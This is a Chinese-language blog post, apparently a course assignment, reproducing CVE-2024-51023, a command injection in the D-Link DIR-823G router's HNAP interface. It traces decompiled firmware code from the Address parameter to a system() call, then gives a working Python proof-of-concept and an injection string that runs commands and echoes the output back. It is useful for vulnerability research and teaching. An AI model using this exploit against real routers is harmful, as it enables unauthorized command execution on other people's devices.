Skip to main content

CVE-2024-51023 复现

·1843 words·4 mins·
IoT安全 CVE D-Link 路由器 Nday 命令注入
Table of Contents

NIS8015 的课程作业,截止我复现时还没有公开 PoC,很有意思的作业。

漏洞原理分析
#

CVE 描述
#

D-Link DIR_823G 1.0.2B05 was discovered to contain a command injection vulnerability via the Address parameter in the SetNetworkTomographySettings function. This vulnerability allows attackers to execute arbitrary OS commands via a crafted request.

二进制定位
#

❯ grep -ri "SetNetworkTomographySettings"
grep: bin/goahead: binary file matches
web_mtn/Diagnosis.html:    var networkTomographySettings = new SOAPSetNetworkTomographySettings();
web_mtn/Diagnosis.html:    soapAction.sendSOAPAction("SetNetworkTomographySettings",networkTomographySettings,null).done(function(obj){
web_mtn/Diagnosis.html:        if(obj.SetNetworkTomographySettingsResult == "OK"){
web_mtn/js/SOAP/SOAPDiagnosis.js:function SOAPSetNetworkTomographySettings(){

可以看到这个函数在 /bin/goahead 二进制中,这是一个轻量级 HTTP 服务器。

Source 点
#

路由表

在该二进制中搜索 SetNetworkTomographySettings,可以看到如上的路由表,SetNetworkTomographySettings 对应 sub_441F70

int __fastcall sub_441F70(int a1) // SetNetworkTomographySettings
{
...
  if ( a1 )
  {
    v39 = 0;
    v40 = 0;
    String = mxmlLoadString(0, a1, 0);
    if ( String && mxmlFindElement(String, String, "SetNetworkTomographySettings", 0, 0, 1) )
    {
      Element = mxmlFindElement(String, String, "Address", 0, 0, 1);
      Text = mxmlGetText(Element, 0);
      if ( Text )
      {
        if ( (unsigned int)strlen(Text) < 0x80 )
        {
          if ( apmib_set(7026, Text) ) // key-value pair
          {
			...
          }
          else
          {
            puts("error, apmib set MIB_PING_ADDRESS", v6, v7);
          }
        }
        else
        {
          puts("address length is error!", v4, v5);
        }
      }
      else
      {
        puts("error, ping address is NULL", v2, v3);
      }
    }
    ...
}

MIB 表中 ID = 7026 的配置项被设置为 Address 的参数值,从 DEBUG 信息也可以看到,这个配置项实则是 MIB_PING_ADDRESS

Sink点
#

用户输入会被存储到 MIB 表中 ID =7026 的配置项(MIB_PING_ADDRESS),随后肯定会从 MIB 表中被取出,从而触发漏洞,因此直接在 IDA 中搜索 immediate value 7026:

7026

sub_4424E0 函数如下:

void __fastcall sub_4424E0(int a1) // GetNetworkTomographyResult
{
  ...
  if ( a1 )
  {
	...
    if ( apmib_get(7026, v37) )
    {
      snprintf(v40, 6, "ping  ");
      v3 = strlen(v37);
      strncat(v40, v37, v3);
      if ( apmib_get(7027, &v41) )
      {
        strcat(v40, " -c ");
        sprintf(v38, "%d -w %d", v41, v41);
        v6 = strlen(v38);
        strncat(v40, v38, v6);
        if ( apmib_get(7028, &v42) )
        {
          strcat(v40, " -s ");
          sprintf(v39, "%d", v42);
          v9 = strlen(v39);
          strncat(v40, v39, v9);
          strcat(v40, " > /tmp/ping.txt 2>>/tmp/ping.txt");
          puts(v40, v10, v11);
          system((int)v40);
  ...
}

可以看到 MIB_PING_ADDRESS 被取出,随后未经过滤直接被拼接到 ping 命令中,导致了命令注入。

该函数和 SetNetworkTomographySettings 在同一个路由表中,符号名为 GetNetworkTomographyResult

因此可以得出结论:要触发这个漏洞,首先要触发 SetNetworkTomographySettings ,构造恶意的命令注入字符串;随后触发 GetNetworkTomographyResult 执行恶意的 ping 命令。

PoC
#

SetNetworkTomographySettings 所在路由表的开头如下:

LOAD:00588D80 off_588D80:     .word aSetmultipleact    # DATA XREF: sub_42383C+150↑o
LOAD:00588D80                                          # "SetMultipleActions"
LOAD:00588D84                 .word sub_4339E8
LOAD:00588D88                 .word aGetdevicesetti_4  # "GetDeviceSettings"
LOAD:00588D8C                 .word sub_432FA8
LOAD:00588D90                 .word aGetoperationmo    # "GetOperationMode"

可以看到 off_588D80 为表的起始位置,查看其交叉引用:

int __fastcall sub_42383C(int a1, int a2, int a3, int a4, int a5, int a6, const char *a7) // websHNAPFuncHandler
{
  int v8; // [sp+34h] [+34h]
  int v9; // [sp+38h] [+38h]
  int v10; // [sp+40h] [+40h]
  char v11[104]; // [sp+4Ch] [+4Ch] BYREF
  int v12; // [sp+B4h] [+B4h] BYREF
  _BYTE v13[5000]; // [sp+B8h] [+B8h] BYREF

  v10 = 0;
  strcpy(
    v11,
    "HTTP/1.0 200 OK\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nCache-Control: private\r\n\r\n");
  v9 = 0;
  v12 = 0;
  dword_58A6C0 = a1;
  v8 = malloc(10240);
  if ( v8 )
  {
    memset(v8, 0, 10240);
    v9 = malloc(51200);
    if ( v9 )
    {
      memset(v9, 0, 51200);
      if ( *(_DWORD *)(a1 + 1316) )
      {
        apmib_get(7011, &v12);
        for ( dword_58A6C4 = (int)&off_588D80; *(_DWORD *)dword_58A6C4; dword_58A6C4 += 8 ) // ref here
        {
          if ( strstr(*(_DWORD *)(a1 + 1316), *(_DWORD *)dword_58A6C4) )
          {
            memset(v13, 0, sizeof(v13));
            snprintf(v13, 4999, "echo '%s' >/var/hnaplog", a7);
            system(v13);
            printf("wp->hnapfunc===========>%s\n", *(const char **)(a1 + 1316));
            if ( !strncmp(*(_DWORD *)dword_58A6C4, "GetLocalMac", 11) )
            {
              memset(&qword_58A6A0, 0, 32);
              strncpy(&qword_58A6A0, a1 + 48, 32);
            }
            if ( (*(int (__fastcall **)(const char *))(dword_58A6C4 + 4))(a7) )
              break;
          }
        }
      }
      else
      {
        sub_432FA8(a7);
      }
    }
    else
    {
      printf("websHNAPFuncHandler: not enough memory (1)\n!");
      v10 = -1;
    }
  }
  else
  {
    printf("websHNAPFuncHandler: not enough memory (0)\n!");
    v10 = -1;
  }
  free(v8);
  free(v9);
  return v10;
}

可以看到该函数符号名为 websHNAPFuncHandler,即 HNAP 调度器,作用是根据 API 名字调用匹配的处理函数。

再查看 websHNAPFuncHandler 的上层调用:

int sub_423F90() // initWebs
{
  int v1; // $v0
  int v2; // [sp+28h] [+28h]
  int v3; // [sp+2Ch] [+2Ch]
  _DWORD v4[4]; // [sp+30h] [+30h] BYREF
  _BYTE v5[128]; // [sp+40h] [+40h] BYREF
  _BYTE v6[128]; // [sp+C0h] [+C0h] BYREF

  memset(v4, 0, sizeof(v4));
  sub_423E90("br0", v4);
  sub_40F750();
  sub_4158C0();
  sub_416908("adm", 7, 3, 0, 0);
  if ( "admin" && aAdmin[0] && "1234" && a1234[0] )
  {
    sub_415F5C("admin", "1234", "adm", 0, 0);
    sub_4172CC("/", 3, 0, "adm");
  }
  else
  {
    error("goahead.c", 502, 2, "gohead.c: Warning: empty administrator account or password");
  }
  v3 = inet_addr(v4);
  if ( v3 == -1 )
  {
    error("goahead.c", 531, 2, "initWebs: failed to convert %s to binary ip data", (const char *)v4);
    return -1;
  }
  else
  {
    strcpy(v5, off_5890B0);
    sub_40542C(v5);
    v2 = inet_ntoa(v3);
    if ( (unsigned int)(strlen(v2) + 1) >= 0x80 )
      v1 = 128;
    else
      v1 = strlen(v2) + 1;
    sub_40D104(v6, v2, v1);
    sub_4205C0(v6);
    sub_42051C(v6);
    sub_4053C4("default.asp");
    sub_411D4C(off_5890B4);
    sub_41BC40(dword_5890B8, dword_5890BC);
    sub_40B1F4(&dword_4A3C4C, 0, 0, sub_4110F4, 1);
    sub_40B1F4("/HNAP1", 0, 0, sub_42383C, 0);
    sub_40B1F4("/goform", 0, 0, sub_40A810, 0);
    sub_40B1F4("/cgi-bin", 0, 0, sub_403D00, 0);
    sub_40B1F4("/EXCU_SHELL", 0, 0, sub_4234CC, 0);
    sub_40B1F4(&dword_4A3C4C, 0, 0, sub_404940, 2);
    sub_4110B4();
    sub_40B1F4("/", 0, 0, sub_424320, 0);
    return 0;
  }
}

在这个函数里完成了很多初始化工作(怎么还有 EXCU_SHELL,后门是吧),可以看到所有 HNAP SOAP API 都被注册到 sub_42383C。故 SetNetworkTomographySettingsGetNetworkTomographyResult 都要向 /HNAP1 API 发送请求,对应不同的 SOAPAction

分析到这,漏洞点触发方式已经初具雏形:

POST /HNAP1
SOAPAction: "http://purenetworks.com/HNAP1/SetNetworkTomographySettings"

XML 中 Address 标签内含有命令注入 payload。

POST /HNAP1
SOAPAction: "http://purenetworks.com/HNAP1/GetNetworkTomographyResult"

PingResult 标签内含有命令执行的结果。

SOAP XML 的格式可以参考:https://regmedia.co.uk/2016/11/07/dlink_hnap_captcha.pdf

最终形成如下PoC:

#!/usr/bin/env python3
import requests
import sys
import time

def hnap(ip, action, body):
    try:
        r = requests.post(f"http://{ip}/HNAP1/", data=body, headers={
            'Content-Type': 'text/xml',
            'SOAPAction': f'"http://purenetworks.com/HNAP1/{action}"'
        }, timeout=10)
        print(f"[+] {action}: {r.status_code}\n{r.text}\n")
        return r
    except Exception as e:
        print(f"[-] {e}")

def exploit(ip, payload="8.8.8.8"):
    # 设置参数
    hnap(ip, "SetNetworkTomographySettings", f'''
<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <SetNetworkTomographySettings xmlns="http://purenetworks.com/HNAP1/">
            <Address>{payload}</Address>
            <Number>4</Number>
            <Size>64</Size>
        </SetNetworkTomographySettings>
    </soap:Body>
</soap:Envelope>
''')
    
    time.sleep(1)
    
    # 触发执行
    hnap(ip, "GetNetworkTomographyResult", '''
<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Body>
        <GetNetworkTomographyResult xmlns="http://purenetworks.com/HNAP1/"/>
    </soap:Body>
</soap:Envelope>
''')

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"用法: {sys.argv[0]} <IP> [命令]\n示例: {sys.argv[0]} 192.168.1.1 '8.8.8.8; id'")
        sys.exit(1)
    exploit(sys.argv[1], sys.argv[2] if len(sys.argv) > 2 else "8.8.8.8")

仿真利用
#

不允许有空格,且 sh 不支持很多高级语法,没找到绕过空格过滤并使用 telnetd 开放 shell 的办法。

          strcat(v40, " > /tmp/ping.txt 2>>/tmp/ping.txt");
          puts((int)v40, v10, v11);
          system((int)v40);
          v34 = fopen("/tmp/ping.txt", "r");
          if ( v34 )
          {
            if ( !fread(v36, 1, 49152, v34) )
              puts((int)"fread ping.txt is error ", v14, v15);
            fclose(v34);
          }
		  ...
              v29 = mxmlNewElement(v31, "PingResult");
              if ( v29 )
              {
                mxmlNewText(v29, 0, v36);

命令执行的结果会被写入到 /tmp/ping.txt,并被写回响应 XML 的 PingResult 标签内。故想要达到“实现系统命令 ls 执⾏,并通过⻚⾯回显等⼿段完成利⽤效果的验证”,只要将 ls 的结果重定向到 /tmp/ping.txt 并将后面的命令截断即可:

python3 poc.py 192.168.0.1 "||ls>/tmp/ping.txt|"

FirmAE 开 debug 模式:

debug

用 FirmAE Debugger 的 gdbserver attach 到 goahead进程,在0x4428bc处下断点,可以看到执行 PoC 后,形成了如下命令字符串:

gdb

在响应的 XML 中,可以看到 ls 执行的结果:

response

BeaCox
Author
BeaCox
Stay humble, remain critical.

Related

CVE-2023-35720 华硕路由器SQL注入漏洞分析
·829 words·2 mins
IoT安全 CVE ASUS 路由器 Nday
Windows 更新降级攻击复现与分析
·2219 words·5 mins
系统安全 CVE Windows 更新机制 Nday